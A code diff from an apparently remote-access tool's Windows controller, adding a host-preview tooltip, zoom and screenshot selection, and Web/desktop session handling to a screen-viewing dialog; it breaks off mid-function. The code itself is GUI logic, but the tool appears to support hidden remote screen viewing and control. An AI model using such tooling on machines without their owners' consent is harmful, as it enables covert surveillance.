m_imageDrawW = m_imageReserveW;
m_imageDrawH = m_imageReserveH;
}
// 文本换行宽度:与图像同宽(让文本视觉上对齐到图像下方),但不超过 MAX_TEXT_W
// 没有图像时退化到 MAX_TEXT_W
int textWrapW = m_imageDrawW > 0 ? min((int)MAX_TEXT_W, m_imageDrawW) : (int)MAX_TEXT_W;
if (textWrapW < MIN_TEXT_W) textWrapW = MIN_TEXT_W;
// 估算文本尺寸(项目是 MBCS但浮窗文本是宽字符必须显式调用 W 版本)
CClientDC dc(this);
CFont* old = dc.SelectObject(&m_font);
CRect rcText(0, 0, textWrapW, 32767);
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &rcText,
DT_CALCRECT | DT_LEFT | DT_WORDBREAK | DT_NOPREFIX);
m_textW = max((int)MIN_TEXT_W, rcText.Width());
if (m_imageDrawW > 0) m_textW = max(m_textW, m_imageDrawW); // 至少与图像同宽
m_textH = rcText.Height();
dc.SelectObject(old);
int contentW = max(m_imageDrawW, m_textW);
int gap = (m_imageDrawW > 0 && m_textH > 0) ? IMAGE_TEXT_GAP : 0;
int totalW = PADDING + contentW + PADDING;
int totalH = PADDING + m_imageDrawH + gap + m_textH + PADDING;
// 当前左上角
CRect rc;
GetWindowRect(&rc);
int newX = rc.left;
int newY = rc.top;
// 防止越出屏幕:右下夹紧到工作区
HMONITOR hMon = MonitorFromPoint(CPoint(newX, newY), MONITOR_DEFAULTTONEAREST);
MONITORINFO mi = { sizeof(mi) };
if (hMon && GetMonitorInfo(hMon, &mi)) {
if (newX + totalW > mi.rcWork.right) newX = max((int)mi.rcWork.left, mi.rcWork.right - totalW);
if (newY + totalH > mi.rcWork.bottom) newY = max((int)mi.rcWork.top, mi.rcWork.bottom - totalH);
}
SetWindowPos(NULL, newX, newY, totalW, totalH, SWP_NOZORDER | SWP_NOACTIVATE);
}
BOOL CPreviewTipWnd::OnEraseBkgnd(CDC* /*pDC*/)
{
return TRUE; // 在 OnPaint 里整体填充
}
void CPreviewTipWnd::OnPaint()
{
CPaintDC pdc(this);
CRect rcClient;
GetClientRect(&rcClient);
// 双缓冲
CDC memDC;
memDC.CreateCompatibleDC(&pdc);
CBitmap memBmp;
memBmp.CreateCompatibleBitmap(&pdc, rcClient.Width(), rcClient.Height());
CBitmap* oldBmp = memDC.SelectObject(&memBmp);
memDC.FillSolidRect(&rcClient, ::GetSysColor(COLOR_INFOBK));
CFont* oldFont = memDC.SelectObject(&m_font);
memDC.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
memDC.SetBkMode(TRANSPARENT);
int curY = PADDING;
if (m_imageDrawW > 0 && m_imageDrawH > 0) {
CRect rcImg(PADDING, curY, PADDING + m_imageDrawW, curY + m_imageDrawH);
DrawImageArea(memDC, rcImg);
curY += m_imageDrawH + IMAGE_TEXT_GAP;
}
CRect rcText(PADDING, curY, PADDING + m_textW, curY + m_textH);
DrawTextArea(memDC, rcText);
memDC.SelectObject(oldFont);
pdc.BitBlt(0, 0, rcClient.Width(), rcClient.Height(), &memDC, 0, 0, SRCCOPY);
memDC.SelectObject(oldBmp);
}
void CPreviewTipWnd::DrawImageArea(CDC& dc, const CRect& rc)
{
// 边框
dc.Draw3dRect(&rc, ::GetSysColor(COLOR_3DSHADOW), ::GetSysColor(COLOR_3DSHADOW));
if (m_hasImage && m_image) {
Graphics g(dc.GetSafeHdc());
g.SetInterpolationMode(InterpolationModeHighQualityBicubic);
g.SetSmoothingMode(SmoothingModeHighQuality);
g.DrawImage(m_image.get(), rc.left + 1, rc.top + 1, rc.Width() - 2, rc.Height() - 2);
} else {
// 占位灰色背景
CRect rcInner = rc;
rcInner.DeflateRect(1, 1);
dc.FillSolidRect(&rcInner, RGB(245, 245, 245));
const wchar_t* placeholder = m_unavailable ? L"Preview Unavailable" : L"Loading Preview ...";
UINT fmt = DT_CENTER | DT_VCENTER | DT_SINGLELINE | DT_NOPREFIX;
dc.SetTextColor(m_unavailable ? RGB(160, 80, 80) : RGB(120, 120, 120));
RECT rcInnerRaw = rcInner;
::DrawTextW(dc.GetSafeHdc(), placeholder, -1, &rcInnerRaw, fmt);
dc.SetTextColor(::GetSysColor(COLOR_INFOTEXT));
}
}
void CPreviewTipWnd::DrawTextArea(CDC& dc, const CRect& rc)
{
RECT r = rc;
::DrawTextW(dc.GetSafeHdc(), m_text, m_text.GetLength(), &r,
DT_LEFT | DT_TOP | DT_WORDBREAK | DT_NOPREFIX);
}

View File

@@ -0,0 +1,57 @@
// PreviewTipWnd.h
// 双击在线主机时弹出的浮窗:上方 JPEG 缩略图,下方主机信息文本。
// 无图片时显示"加载预览…"占位,供 OnListClick 即时弹窗、收到响应后再 SetImage 重画。
#pragma once
#include <afxwin.h>
#include <memory>
#include <vector>
namespace Gdiplus { class Bitmap; }
class CPreviewTipWnd : public CWnd
{
public:
CPreviewTipWnd();
virtual ~CPreviewTipWnd();
// 创建浮窗。
// anchor 屏幕坐标,浮窗左上角
// text 下方显示的主机详情文本(宽字符,确保跨语言系统正确渲染)
// imageReserveW 上方图像区域预留宽度(即将到来的预览最大宽度,仅作初始布局)
// 为 0 表示不预留 — 与老 STATIC 路径行为一致(仅文本)
BOOL Create(CWnd* pParent, CPoint anchor, const CStringW& text, int imageReserveW);
// 收到 JPEG 后调用:解码并重画。线程安全前提是只在主 UI 线程调用。
void SetImageFromJpeg(const BYTE* data, size_t bytes);
// 标记预览不可用(请求超时 / 客户端报错)。
void MarkPreviewUnavailable();
WORD GetReqId() const { return m_reqId; }
void SetReqId(WORD id) { m_reqId = id; }
protected:
afx_msg void OnPaint();
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
DECLARE_MESSAGE_MAP()
private:
void RecalcLayoutAndResize();
void DrawImageArea(CDC& dc, const CRect& rc);
void DrawTextArea(CDC& dc, const CRect& rc);
CStringW m_text;
int m_imageReserveW = 0; // 预留图像宽度(图像未到达时占位)
int m_imageReserveH = 0; // 预留图像高度(按 16:9
int m_imageDrawW = 0; // 实际图像绘制宽度
int m_imageDrawH = 0; // 实际图像绘制高度
int m_textW = 0;
int m_textH = 0;
bool m_hasImage = false;
bool m_unavailable = false;
std::unique_ptr<Gdiplus::Bitmap> m_image;
CFont m_font;
WORD m_reqId = 0;
};

View File

@@ -157,8 +157,9 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
if (pClientID) { if (pClientID) {
m_ClientID = *((uint64_t*)pClientID); m_ClientID = *((uint64_t*)pClientID);
// Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once) // Notify web clients of resolution (only for Web sessions, not MFC sessions)
if (WebService().IsRunning()) { // At this point, IsMfcTriggered is still set if MFC triggered this dialog
if (WebService().IsRunning() && !WebService().IsMfcTriggered(m_ClientID)) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth; int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight); int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height); WebService().NotifyResolutionChange(m_ClientID, width, height);
@@ -237,10 +238,14 @@ CScreenSpyDlg::~CScreenSpyDlg()
StopAudioPlayback(); StopAudioPlayback();
// 清理所有文件接收对话框 // 清理所有文件接收对话框
for (auto& pair : m_FileRecvDlgs) { // 注意对话框可能已经被用户关闭并自我销毁PostNcDestroy 中 delete this
if (pair.second) { // 存储了 HWND 用于安全检查,避免访问野指针
pair.second->DestroyWindow(); for (auto& entry : m_FileRecvDlgs) {
delete pair.second; HWND hWnd = entry.second.first;
if (hWnd && ::IsWindow(hWnd)) {
// 通过 HWND 同步发送关闭消息,确保对话框在析构前完全关闭
// 使用 SendMessage 而非 PostMessage避免异步问题
::SendMessage(hWnd, WM_CLOSE, 0, 0);
} }
} }
m_FileRecvDlgs.clear(); m_FileRecvDlgs.clear();
@@ -484,6 +489,8 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_WM_VSCROLL() ON_WM_VSCROLL()
ON_WM_LBUTTONDOWN() ON_WM_LBUTTONDOWN()
ON_WM_LBUTTONUP() ON_WM_LBUTTONUP()
ON_WM_RBUTTONDOWN()
ON_WM_RBUTTONUP()
ON_WM_MOUSEWHEEL() ON_WM_MOUSEWHEEL()
ON_WM_MOUSEMOVE() ON_WM_MOUSEMOVE()
ON_WM_MOUSELEAVE() ON_WM_MOUSELEAVE()
@@ -492,6 +499,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_WM_LBUTTONDBLCLK() ON_WM_LBUTTONDBLCLK()
ON_WM_ACTIVATE() ON_WM_ACTIVATE()
ON_WM_TIMER() ON_WM_TIMER()
ON_WM_ERASEBKGND()
ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen) ON_COMMAND(ID_EXIT_FULLSCREEN, &CScreenSpyDlg::OnExitFullscreen)
ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo) ON_COMMAND(ID_SHOW_STATUS_INFO, &CScreenSpyDlg::OnShowStatusInfo)
ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo) ON_COMMAND(ID_HIDE_STATUS_INFO, &CScreenSpyDlg::OnHideStatusInfo)
@@ -500,6 +508,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk) ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete) ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
ON_WM_DROPFILES() ON_WM_DROPFILES()
ON_WM_CAPTURECHANGED()
END_MESSAGE_MAP() END_MESSAGE_MAP()
@@ -683,7 +692,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
if (m_bIsCtrl) { if (m_bIsCtrl) {
ImmAssociateContext(m_hWnd, NULL); // 控制模式:禁用 IME ImmAssociateContext(m_hWnd, NULL); // 控制模式:禁用 IME
} }
m_bIsTraceCursor = FALSE; //不是跟踪 m_bIsTraceCursor = !m_bIsCtrl; // 非控制状态,则跟踪鼠标
m_ClientCursorPos.x = 0; m_ClientCursorPos.x = 0;
m_ClientCursorPos.y = 0; m_ClientCursorPos.y = 0;
m_bCursorIndex = 0; m_bCursorIndex = 0;
@@ -693,6 +702,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
::GetIconInfo(m_hRemoteCursor, &CursorInfo); ::GetIconInfo(m_hRemoteCursor, &CursorInfo);
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize); ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
@@ -761,14 +771,32 @@ BOOL CScreenSpyDlg::OnInitDialog()
if (pMain) if (pMain)
::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0); ::PostMessage(pMain->GetSafeHwnd(), WM_SESSION_ACTIVATED, (WPARAM)this, 0);
// 注册屏幕上下文到 WebService用于 Web 端鼠标/键盘控制) // Determine session type: MFC or Web
WebService().RegisterScreenContext(m_ClientID, m_ContextObject); // Must check MfcTriggered FIRST - if MFC triggered this dialog, it's NOT a web session
// even if WebTriggered is also true (happens when Web is already open for same device)
bool isMfcSession = WebService().IsMfcTriggered(m_ClientID);
bool isWebSession = false;
if (isMfcSession) {
// MFC session: clear the flag, don't register with WebService
WebService().ClearMfcTriggered(m_ClientID);
// m_bIsWebSession remains false (default)
} else {
// Check if this is a Web session
isWebSession = WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions();
// Hide window if this session was triggered by web client // Only register screen context for Web sessions
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) { // MFC dialogs handle input directly via m_ContextObject, don't need WebService registry
// This prevents MFC close from deleting Web's context (they share same device_id key)
if (isWebSession) {
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
m_bHide = true; m_bHide = true;
m_bIsWebSession = true;
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
} }
}
Mprintf("[ScreenSpy] Dialog created for device %llu, isMfcSession=%d, isWebSession=%d\n",
m_ClientID, isMfcSession ? 1 : 0, isWebSession ? 1 : 0);
return TRUE; return TRUE;
} }
@@ -776,8 +804,10 @@ BOOL CScreenSpyDlg::OnInitDialog()
VOID CScreenSpyDlg::OnClose() VOID CScreenSpyDlg::OnClose()
{ {
// 注销屏幕上下文Web 端控制) // Only unregister if this is a Web session (we only registered for Web sessions)
if (m_bIsWebSession) {
WebService().UnregisterScreenContext(m_ClientID); WebService().UnregisterScreenContext(m_ClientID);
}
m_bIsClosed = true; m_bIsClosed = true;
m_bIsCtrl = FALSE; m_bIsCtrl = FALSE;
@@ -840,13 +870,15 @@ LRESULT CScreenSpyDlg::OnRecvFileV2Chunk(WPARAM wParam, LPARAM lParam)
uint64_t transferID = msgData->transferID; uint64_t transferID = msgData->transferID;
// 创建或获取进度对话框(按 transferID 管理) // 创建或获取进度对话框(按 transferID 管理)
CDlgFileSend*& dlg = m_FileRecvDlgs[transferID]; auto& entry = m_FileRecvDlgs[transferID];
if (dlg == nullptr) { CDlgFileSend* dlg = entry.second;
if (dlg == nullptr || !::IsWindow(entry.first)) {
dlg = new CDlgFileSend(m_pParent, m_ContextObject->GetServer(), m_ContextObject, FALSE); dlg = new CDlgFileSend(m_pParent, m_ContextObject->GetServer(), m_ContextObject, FALSE);
dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow()); dlg->Create(IDD_DIALOG_FILESEND, GetDesktopWindow());
dlg->SetWindowTextA(_TR("接收文件")); dlg->SetWindowTextA(_TR("接收文件"));
dlg->ShowWindow(SW_SHOW); dlg->ShowWindow(SW_SHOW);
dlg->m_bKeepConnection = TRUE; // 不断开连接 dlg->m_bKeepConnection = TRUE; // 不断开连接
entry = { dlg->GetSafeHwnd(), dlg };
} }
// 接收文件 // 接收文件
@@ -889,7 +921,11 @@ LRESULT CScreenSpyDlg::OnRecvFileV2Complete(WPARAM wParam, LPARAM lParam)
// 关闭进度对话框 // 关闭进度对话框
auto it = m_FileRecvDlgs.find(transferID); auto it = m_FileRecvDlgs.find(transferID);
if (it != m_FileRecvDlgs.end()) { if (it != m_FileRecvDlgs.end()) {
it->second->FinishFileSend(verifyOk); // 只有窗口有效时才调用 FinishFileSend
if (::IsWindow(it->second.first)) {
it->second.second->FinishFileSend(verifyOk);
}
// 无论窗口是否有效,都要移除条目(避免累积无效条目)
m_FileRecvDlgs.erase(it); m_FileRecvDlgs.erase(it);
} }
@@ -964,18 +1000,11 @@ VOID CScreenSpyDlg::OnReceiveComplete()
PrepareDrawing(m_BitmapInfor_Full); PrepareDrawing(m_BitmapInfor_Full);
// 分辨率切换完成,允许解码 // 分辨率切换完成,允许解码
m_bResolutionChanging = false; m_bResolutionChanging = false;
// Notify web clients of resolution change // Notify web clients of resolution change (only for Web session dialogs)
if (WebService().IsRunning()) { if (m_bIsWebSession && WebService().IsRunning()) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth; int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight); int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height); WebService().NotifyResolutionChange(m_ClientID, width, height);
// Hide window if this session was triggered by web client (and hiding is enabled)
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
m_bHide = true;
ShowWindow(SW_HIDE);
Mprintf("[ScreenSpyDlg] Web-triggered session, hiding window for device %llu\n", m_ClientID);
}
} }
break; break;
} }
@@ -1266,8 +1295,8 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0]; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) { if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE; bChange = TRUE;
// 通知 Web 客户端光标变化 // 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
if (WebService().IsRunning()) { if (m_bIsWebSession && WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex); WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
} }
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构 if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
@@ -1317,8 +1346,8 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
bChange = TRUE; bChange = TRUE;
} }
} }
// Broadcast H264 keyframe to web clients // Broadcast H264 keyframe to web clients (only for Web session dialogs)
if (NextScreenLength > 0 && WebService().IsRunning()) { if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength); std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF); uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
uint8_t frameType = 1; // Keyframe uint8_t frameType = 1; // Keyframe
@@ -1376,9 +1405,9 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
bChange = TRUE; bChange = TRUE;
} }
} }
// Broadcast H264 frame to web clients // Broadcast H264 frame to web clients (only for Web session dialogs)
// Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N] // Format: [DeviceID:4][FrameType:1][DataLen:4][H264Data:N]
if (NextScreenLength > 0 && WebService().IsRunning()) { if (m_bIsWebSession && NextScreenLength > 0 && WebService().IsRunning()) {
// Detect H264 keyframe by checking NAL unit type // Detect H264 keyframe by checking NAL unit type
// NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS // NAL type 5 = IDR slice (keyframe), NAL type 7 = SPS, NAL type 8 = PPS
bool isKeyFrame = false; bool isKeyFrame = false;
@@ -1463,8 +1492,8 @@ VOID CScreenSpyDlg::DrawScrollFrame()
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0]; m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) { if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE; bChange = TRUE;
// 通知 Web 客户端光标变化 // 通知 Web 客户端光标变化 (只有 Web 会话的对话框才广播)
if (WebService().IsRunning()) { if (m_bIsWebSession && WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex); WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
} }
} }
@@ -1581,6 +1610,19 @@ bool CScreenSpyDlg::Decode(LPBYTE Buffer, int size)
return false; return false;
} }
// 跳过默认背景擦除:随帧重绘时若先 FillRect 灰色再 BitBlt 帧,会在两步之间
// 出现"瞬时灰背景",启用远程光标(应用层 DrawIconEx)时尤其明显——光标随每帧重绘,
// 灰一闪 → 帧覆盖 → 重画光标,循环看上去就是光标频繁闪烁。
// adaptive/zoom 模式下 BitBlt/StretchBlt 覆盖整个客户区,本就不需要先擦;
// m_bIsFirst首帧未到达仍走默认擦除以避免显示残留内容。
BOOL CScreenSpyDlg::OnEraseBkgnd(CDC* pDC)
{
if (m_bIsFirst) {
return __super::OnEraseBkgnd(pDC);
}
return TRUE;
}
void CScreenSpyDlg::OnPaint() void CScreenSpyDlg::OnPaint()
{ {
if (m_bIsClosed) return; if (m_bIsClosed) return;
@@ -1594,9 +1636,18 @@ void CScreenSpyDlg::OnPaint()
int srcW = m_BitmapInfor_Full->bmiHeader.biWidth; int srcW = m_BitmapInfor_Full->bmiHeader.biWidth;
int srcH = m_BitmapInfor_Full->bmiHeader.biHeight; int srcH = m_BitmapInfor_Full->bmiHeader.biHeight;
if (m_bAdaptiveSize) {
int dstW = m_CRect.Width(); int dstW = m_CRect.Width();
int dstH = m_CRect.Height(); int dstH = m_CRect.Height();
// 放大模式渲染
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
// 使用放大区域作为源进行StretchBlt
StretchBlt(m_hFullDC, 0, 0, dstW, dstH,
m_hFullMemDC,
m_rcZoomSrc.left, m_rcZoomSrc.top,
m_rcZoomSrc.Width(), m_rcZoomSrc.Height(),
SRCCOPY);
} else if (m_bAdaptiveSize) {
// 尺寸相同时用 BitBlt更快否则用 StretchBlt // 尺寸相同时用 BitBlt更快否则用 StretchBlt
if (srcW == dstW && srcH == dstH) { if (srcW == dstW && srcH == dstH) {
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, 0, 0, SRCCOPY); BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, 0, 0, SRCCOPY);
@@ -1607,6 +1658,27 @@ void CScreenSpyDlg::OnPaint()
BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY); BitBlt(m_hFullDC, 0, 0, srcW, srcH, m_hFullMemDC, m_ulHScrollPos, m_ulVScrollPos, SRCCOPY);
} }
// 绘制框选矩形(左键放大用红色,右键截图用绿色,二者颜色错开避免误操作)
if (m_bSelectingZoom || m_bSelectingShot) {
CPoint ptStart = m_bSelectingZoom ? m_ptZoomStart : m_ptShotStart;
CPoint ptCur = m_bSelectingZoom ? m_ptZoomCurrent : m_ptShotCurrent;
COLORREF clr = m_bSelectingZoom ? RGB(255, 0, 0) : RGB(0, 180, 0);
CRect rcSelect;
rcSelect.left = min(ptStart.x, ptCur.x);
rcSelect.top = min(ptStart.y, ptCur.y);
rcSelect.right = max(ptStart.x, ptCur.x);
rcSelect.bottom = max(ptStart.y, ptCur.y);
HPEN hPen = CreatePen(PS_DASH, 1, clr);
HPEN hOldPen = (HPEN)SelectObject(m_hFullDC, hPen);
HBRUSH hOldBrush = (HBRUSH)SelectObject(m_hFullDC, GetStockObject(NULL_BRUSH));
Rectangle(m_hFullDC, rcSelect.left, rcSelect.top, rcSelect.right, rcSelect.bottom);
SelectObject(m_hFullDC, hOldBrush);
SelectObject(m_hFullDC, hOldPen);
DeleteObject(hPen);
}
if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) { if ((m_bIsCtrl && m_Settings.RemoteCursor) || m_bIsTraceCursor) {
CPoint ptLocal; CPoint ptLocal;
GetCursorPos(&ptLocal); GetCursorPos(&ptLocal);
@@ -1789,6 +1861,10 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
switch (nID) { switch (nID) {
case IDM_CONTROL: { case IDM_CONTROL: {
m_bIsCtrl = !m_bIsCtrl; m_bIsCtrl = !m_bIsCtrl;
// 进入控制模式时重置放大状态
if (m_bIsCtrl && m_bZoomedIn) {
ResetZoom();
}
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
// 控制模式:禁用本地 IME查看模式启用本地 IME // 控制模式:禁用本地 IME查看模式启用本地 IME
@@ -2305,8 +2381,8 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg)
MSG wheelMsg = *pMsg; MSG wheelMsg = *pMsg;
wheelMsg.lParam = MAKELPARAM(pt.x, pt.y); wheelMsg.lParam = MAKELPARAM(pt.x, pt.y);
SendScaledMouseMessage(&wheelMsg, true); SendScaledMouseMessage(&wheelMsg, true);
return TRUE; // 已处理,阻止继续分发到 OnMouseWheel
} }
break;
case WM_KEYDOWN: case WM_KEYDOWN:
case WM_KEYUP: case WM_KEYUP:
case WM_SYSKEYDOWN: case WM_SYSKEYDOWN:
@@ -2541,6 +2617,11 @@ void CScreenSpyDlg::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
void CScreenSpyDlg::EnterFullScreen() void CScreenSpyDlg::EnterFullScreen()
{ {
// 进入全屏时重置放大状态
if (m_bZoomedIn) {
ResetZoom();
}
if (1) { if (1) {
// 1. 获取对话框当前所在的显示器 // 1. 获取对话框当前所在的显示器
HMONITOR hMonitor = MonitorFromWindow(m_hWnd, MONITOR_DEFAULTTONEAREST); HMONITOR hMonitor = MonitorFromWindow(m_hWnd, MONITOR_DEFAULTTONEAREST);
@@ -2628,6 +2709,11 @@ void CScreenSpyDlg::EnterFullScreen()
// 全屏退出成功则返回true // 全屏退出成功则返回true
bool CScreenSpyDlg::LeaveFullScreen() bool CScreenSpyDlg::LeaveFullScreen()
{ {
// 退出全屏时重置放大状态
if (m_bZoomedIn) {
ResetZoom();
}
if (1) { if (1) {
KillTimer(1); KillTimer(1);
if (m_pToolbar) { if (m_pToolbar) {
@@ -2668,26 +2754,375 @@ bool CScreenSpyDlg::LeaveFullScreen()
return false; return false;
} }
// ========== 局部放大功能辅助函数 ==========
// 重置放大状态
void CScreenSpyDlg::ResetZoom()
{
m_bZoomedIn = false;
m_bSelectingZoom = false;
m_bZoomDragging = false;
m_rcZoomSrc.SetRectEmpty();
Invalidate();
}
// 屏幕坐标转原图坐标(考虑放大状态)
CPoint CScreenSpyDlg::ScreenToImage(CPoint pt)
{
if (!m_BitmapInfor_Full) return pt;
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
if (dstW <= 0 || dstH <= 0) return pt; // 防止除零
if (m_bZoomedIn && !m_rcZoomSrc.IsRectEmpty()) {
// 放大状态:从显示区域映射到放大区域
double scaleX = (double)m_rcZoomSrc.Width() / dstW;
double scaleY = (double)m_rcZoomSrc.Height() / dstH;
return CPoint(
(int)(m_rcZoomSrc.left + pt.x * scaleX),
(int)(m_rcZoomSrc.top + pt.y * scaleY)
);
} else if (m_bAdaptiveSize) {
// 自适应模式:按比例缩放
return CPoint((int)(pt.x * m_wZoom), (int)(pt.y * m_hZoom));
} else {
// 滚动模式:加上滚动偏移
return CPoint(pt.x + m_ulHScrollPos, pt.y + m_ulVScrollPos);
}
}
// 原图坐标转屏幕坐标(考虑放大状态)
CPoint CScreenSpyDlg::ImageToScreen(CPoint pt)
{
if (!m_BitmapInfor_Full) return pt;
int zoomW = m_rcZoomSrc.Width();
int zoomH = m_rcZoomSrc.Height();
if (m_bZoomedIn && zoomW > 0 && zoomH > 0) {
// 放大状态:从放大区域映射到显示区域
int dstW = m_CRect.Width();
int dstH = m_CRect.Height();
double scaleX = (double)dstW / zoomW;
double scaleY = (double)dstH / zoomH;
return CPoint(
(int)((pt.x - m_rcZoomSrc.left) * scaleX),
(int)((pt.y - m_rcZoomSrc.top) * scaleY)
);
} else if (m_bAdaptiveSize) {
if (m_wZoom > 0 && m_hZoom > 0) {
return CPoint((int)(pt.x / m_wZoom), (int)(pt.y / m_hZoom));
}
return pt;
} else {
return CPoint(pt.x - m_ulHScrollPos, pt.y - m_ulVScrollPos);
}
}
void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point) void CScreenSpyDlg::OnLButtonDown(UINT nFlags, CPoint point)
{ {
// 非控制模式下的放大功能
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
if (m_bZoomedIn) {
// 放大状态:开始拖拽平移
m_bZoomDragging = true;
m_ptZoomDragStart = point; // 保存起点用于点击检测
m_ptZoomDragLast = point; // 用于增量拖拽计算
SetCapture();
return;
} else {
// 正常状态:开始框选放大区域
m_bSelectingZoom = true;
m_ptZoomStart = point;
m_ptZoomCurrent = point;
SetCapture();
return;
}
}
__super::OnLButtonDown(nFlags, point); __super::OnLButtonDown(nFlags, point);
} }
void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point) void CScreenSpyDlg::OnLButtonUp(UINT nFlags, CPoint point)
{ {
// 处理放大功能的鼠标释放
if (!m_bIsCtrl && !m_bIsFirst && m_BitmapInfor_Full) {
if (m_bSelectingZoom) {
// 完成框选
ReleaseCapture();
m_bSelectingZoom = false;
// 计算选择区域确保left<right, top<bottom
